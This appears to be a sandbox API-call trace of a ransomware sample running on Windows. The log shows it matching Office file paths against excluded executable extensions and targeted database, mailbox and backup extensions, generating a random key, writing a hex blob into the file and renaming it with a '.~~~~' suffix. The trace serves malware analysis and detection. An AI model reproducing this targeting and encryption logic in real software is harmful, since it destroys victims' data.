	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0136.221] lstrlenW (lpString=".NDF") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".NDF") returned 0x0
	[0136.221] lstrlenW (lpString=".dat") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dat") returned 0x0
	[0136.221] lstrlenW (lpString=".DBS") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DBS") returned 0x0
	[0136.221] lstrlenW (lpString=".CKP") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".CKP") returned 0x0
	[0136.221] lstrlenW (lpString=".edb") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".edb") returned 0x0
	[0136.221] lstrlenW (lpString=".PST") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".PST") returned 0x0
	[0136.221] lstrlenW (lpString=".dbf") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dbf") returned 0x0
	[0136.221] lstrlenW (lpString=".SQL") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".SQL") returned 0x0
	[0136.221] lstrlenW (lpString=".pst") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".pst") returned 0x0
	[0136.221] lstrlenW (lpString=".dbv") returned 4
	[0136.221] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dbv") returned 0x0
	[0136.221] lstrlenW (lpString=".SDF") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".SDF") returned 0x0
	[0136.222] lstrlenW (lpString=".dtxs") returned 5
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0136.222] lstrlenW (lpString=".db3") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".db3") returned 0x0
	[0136.222] lstrlenW (lpString=".OST") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".OST") returned 0x0
	[0136.222] lstrlenW (lpString=".dbx") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dbx") returned 0x0
	[0136.222] lstrlenW (lpString=".DB3") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DB3") returned 0x0
	[0136.222] lstrlenW (lpString=".DAT") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DAT") returned 0x0
	[0136.222] lstrlenW (lpString=".VHDX") returned 5
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0136.222] lstrlenW (lpString=".ndf") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".ndf") returned 0x0
	[0136.222] lstrlenW (lpString=".DB") returned 3
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DB") returned 0x0
	[0136.222] lstrlenW (lpString=".sql") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".sql") returned 0x0
	[0136.222] lstrlenW (lpString=".MYD") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".MYD") returned 0x0
	[0136.222] lstrlenW (lpString=".DBT") returned 4
	[0136.222] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DBT") returned 0x0
	[0136.222] lstrlenW (lpString=".ACCDB") returned 6
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0136.223] lstrlenW (lpString=".fdb") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".fdb") returned 0x0
	[0136.223] lstrlenW (lpString=".bak") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".bak") returned 0x0
	[0136.223] lstrlenW (lpString=".myd") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".myd") returned 0x0
	[0136.223] lstrlenW (lpString=".DTXS") returned 5
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0136.223] lstrlenW (lpString=".ckp") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".ckp") returned 0x0
	[0136.223] lstrlenW (lpString=".dbt") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".dbt") returned 0x0
	[0136.223] lstrlenW (lpString=".db") returned 3
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".db") returned 0x0
	[0136.223] lstrlenW (lpString=".TXT") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".TXT") returned 0x0
	[0136.223] lstrlenW (lpString=".MDF") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".MDF") returned 0x0
	[0136.223] lstrlenW (lpString=".bdb") returned 4
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".bdb") returned 0x0
	[0136.223] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0136.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.224] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.225] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.225] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.225] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25621524091) returned 1
	[0136.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbaa2c6f0, dwHighDateTime=0x1d60e1e)) 
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28252e8
	[0136.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28252e8 | out: hHeap=0x300000) returned 1
	[0136.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c58d0
	[0136.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.226] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.226] GetLastError () returned 0x0
	[0136.226] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.227] GetLastError () returned 0x0
	[0136.321] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffff2d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.321] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xd3, lpOverlapped=0x0) returned 1
	[0136.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0136.321] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.321] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.322] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.322] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.322] CloseHandle (hObject=0x108) returned 1
	[0136.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce2d8
	[0136.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.~~~~")) returned 1
	[0136.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce2d8 | out: hHeap=0x300000) returned 1
	[0136.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.325] GetLastError () returned 0x0
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".scr") returned 0x0
	[0136.326] lstrlenW (lpString=".cmd") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".cmd") returned 0x0
	[0136.326] lstrlenW (lpString=".dll") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dll") returned 0x0
	[0136.326] lstrlenW (lpString=".bat") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".bat") returned 0x0
	[0136.326] lstrlenW (lpString=".cpl") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".cpl") returned 0x0
	[0136.326] lstrlenW (lpString=".sys") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".sys") returned 0x0
	[0136.326] lstrlenW (lpString=".msc") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".msc") returned 0x0
	[0136.326] lstrlenW (lpString=".com") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".com") returned 0x0
	[0136.326] lstrlenW (lpString=".lnk") returned 4
	[0136.326] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".lnk") returned 0x0
	[0136.326] lstrlenW (lpString=".msp") returned 4
	[0136.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".msp") returned 0x0
	[0136.327] lstrlenW (lpString=".pif") returned 4
	[0136.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".pif") returned 0x0
	[0136.327] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.327] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0136.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0136.329] lstrlenW (lpString=".sqb") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".sqb") returned 0x0
	[0136.329] lstrlenW (lpString=".ost") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".ost") returned 0x0
	[0136.329] lstrlenW (lpString=".txt") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".txt") returned 0x0
	[0136.329] lstrlenW (lpString=".mdt") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".mdt") returned 0x0
	[0136.329] lstrlenW (lpString=".BDB") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".BDB") returned 0x0
	[0136.329] lstrlenW (lpString=".eql") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".eql") returned 0x0
	[0136.329] lstrlenW (lpString=".DBF") returned 4
	[0136.329] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DBF") returned 0x0
	[0136.329] lstrlenW (lpString=".EQL") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".EQL") returned 0x0
	[0136.330] lstrlenW (lpString=".FDB") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".FDB") returned 0x0
	[0136.330] lstrlenW (lpString=".EDB") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".EDB") returned 0x0
	[0136.330] lstrlenW (lpString=".DACPAC") returned 7
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DACPAC") returned 0x0
	[0136.330] lstrlenW (lpString=".VHD") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".VHD") returned 0x0
	[0136.330] lstrlenW (lpString=".DBV") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DBV") returned 0x0
	[0136.330] lstrlenW (lpString=".dacpac") returned 7
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dacpac") returned 0x0
	[0136.330] lstrlenW (lpString=".sdf") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".sdf") returned 0x0
	[0136.330] lstrlenW (lpString=".accdb") returned 6
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".accdb") returned 0x0
	[0136.330] lstrlenW (lpString=".DBX") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DBX") returned 0x0
	[0136.330] lstrlenW (lpString=".MDT") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".MDT") returned 0x0
	[0136.330] lstrlenW (lpString=".SQB") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".SQB") returned 0x0
	[0136.330] lstrlenW (lpString=".vhd") returned 4
	[0136.330] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".vhd") returned 0x0
	[0136.331] lstrlenW (lpString=".bac") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".bac") returned 0x0
	[0136.331] lstrlenW (lpString=".mdf") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".mdf") returned 0x0
	[0136.331] lstrlenW (lpString=".BAK") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".BAK") returned 0x0
	[0136.331] lstrlenW (lpString=".BAC") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".BAC") returned 0x0
	[0136.331] lstrlenW (lpString=".dbs") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dbs") returned 0x0
	[0136.331] lstrlenW (lpString=".vhdx") returned 5
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".vhdx") returned 0x0
	[0136.331] lstrlenW (lpString=".NDF") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".NDF") returned 0x0
	[0136.331] lstrlenW (lpString=".dat") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dat") returned 0x0
	[0136.331] lstrlenW (lpString=".DBS") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DBS") returned 0x0
	[0136.331] lstrlenW (lpString=".CKP") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".CKP") returned 0x0
	[0136.331] lstrlenW (lpString=".edb") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".edb") returned 0x0
	[0136.331] lstrlenW (lpString=".PST") returned 4
	[0136.331] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".PST") returned 0x0
	[0136.332] lstrlenW (lpString=".dbf") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dbf") returned 0x0
	[0136.332] lstrlenW (lpString=".SQL") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".SQL") returned 0x0
	[0136.332] lstrlenW (lpString=".pst") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".pst") returned 0x0
	[0136.332] lstrlenW (lpString=".dbv") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dbv") returned 0x0
	[0136.332] lstrlenW (lpString=".SDF") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".SDF") returned 0x0
	[0136.332] lstrlenW (lpString=".dtxs") returned 5
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dtxs") returned 0x0
	[0136.332] lstrlenW (lpString=".db3") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".db3") returned 0x0
	[0136.332] lstrlenW (lpString=".OST") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".OST") returned 0x0
	[0136.332] lstrlenW (lpString=".dbx") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".dbx") returned 0x0
	[0136.332] lstrlenW (lpString=".DB3") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DB3") returned 0x0
	[0136.332] lstrlenW (lpString=".DAT") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DAT") returned 0x0
	[0136.332] lstrlenW (lpString=".VHDX") returned 5
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".VHDX") returned 0x0
	[0136.332] lstrlenW (lpString=".ndf") returned 4
	[0136.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".ndf") returned 0x0
	[0136.333] lstrlenW (lpString=".DB") returned 3
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DB") returned 0x0
	[0136.333] lstrlenW (lpString=".sql") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".sql") returned 0x0
	[0136.333] lstrlenW (lpString=".MYD") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".MYD") returned 0x0
	[0136.333] lstrlenW (lpString=".DBT") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".DBT") returned 0x0
	[0136.333] lstrlenW (lpString=".ACCDB") returned 6
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".ACCDB") returned 0x0
	[0136.333] lstrlenW (lpString=".fdb") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".fdb") returned 0x0
	[0136.333] lstrlenW (lpString=".bak") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".bak") returned 0x0
	[0136.333] lstrlenW (lpString=".myd") returned 4
	[0136.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS", lpSrch=".myd") returned 0x0
	[0136.333] lstrlenW (lpString=".DTXS") returned 5
